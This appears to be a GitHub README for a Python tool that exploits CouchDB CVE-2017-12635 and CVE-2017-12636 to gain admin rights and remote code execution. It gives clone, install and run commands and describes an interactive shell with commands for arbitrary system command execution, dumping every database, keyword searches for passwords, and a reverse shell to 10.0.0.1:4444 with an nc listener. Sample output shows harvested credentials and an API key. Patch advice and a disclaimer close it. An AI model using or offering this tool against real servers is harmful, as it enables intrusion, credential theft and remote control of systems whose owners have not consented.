
Exploits CouchDB CVE-2017-12635/12636 for privilege escalation and RCE, then provides an interactive shell with command execution, database browsing, and reverse shell.
This tool exploits two critical vulnerabilities in Apache CouchDB:
| CVE | Description | Severity |
|---|---|---|
| CVE-2017-12635 | Privilege Escalation via JSON Parsing Bypass | 🔴 Critical |
| CVE-2017-12636 | Remote Code Execution via Query Server | 🔴 Critical |
curl http://target:5984/
✨ Features
✅ Automatic Exploitation - One command to rule them all
✅ Interactive Shell - User-friendly command interface
✅ Database Viewer - Browse all databases and documents
✅ Full JSON Display - See complete document content
✅ Global Search - Search for keywords across all databases
✅ System Commands - Execute arbitrary commands on the target
✅ Reverse Shell - Get a full interactive shell
✅ Command History - Keep track of your actions
✅ Auto Cleanup - Remove traces after exploitation
✅ Color Output - Easy to read and understand
📦 Installation Prerequisites bash
python3 --version
Clone & Install bash
git clone https://github.com/darabium/couchdb-exploit.git cd couchdb-exploit
pip install -r requirements.txt
Requirements txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Usage Basic Usage bash
python3 couchdb-exploit.py -t <TARGET_IP> -p
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Command Line Options bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target IP address or hostname -p PORT, --port PORT Target port (default: 5984)
💻 Commands
Once exploited, you'll have an interactive shell: Command Description Example db Show all databases with document counts db view View ALL documents in a database (full JSON) view passwords raw Show raw server response raw admin count Count documents in a database count users search Search for a keyword in ALL databases search admin exec Execute a system command exec whoami reverse Setup reverse shell reverse 10.0.0.1 4444 history Show command history history help Show this menu help exit Exit with cleanup exit 📊 Examples
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
View Database Content bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Setting up reverse shell to 10.0.0.1:4444 [!] Make sure listener is running: nc -lvnp 4444 [?] Continue? (y/n): y [+] Reverse shell triggered!
🖼️ Screenshots Exploit in Action
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Database View
https://via.placeholder.com/800x400?text=Database+View Reverse Shell
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Disclaimer
IMPORTANT: This tool is for educational and authorized testing purposes only.
🚫 Do NOT use on systems without explicit permission
🚫 The author is not responsible for any misuse
🚫 Use only in controlled environments or your own systems
✅ Always get written authorization before testing
✅ Follow responsible disclosure practices
By using this tool, you agree to these terms. 🔐 Security Tips
If you're a system administrator:
Upgrade immediately to CouchDB ≥ 1.7.0 or ≥ 2.1.1
Use firewall to restrict access to port 5984
Enable authentication and use strong passwords
Monitor logs for suspicious activity
Regular security audits of your infrastructure
Quick Fix bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 References
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB Security
Exploit-DB
👤 Author
darabium
GitHub: @darabium
Telegram: @darabium
⭐ Support
If you find this useful:
⭐ Star the repository
🐛 Report issues
🔧 Contribute improvements
📢 Share with others
📄 License
This project is licensed under the MIT License - see the LICENSE file for details.
Made with ❤️ for security research
⬆ Back to Top
| Version | Vulnerable | Fixed Version |
|---|
| Apache CouchDB < 1.7.0 | ✅ Yes | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Yes | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Yes | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Yes | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ No | - |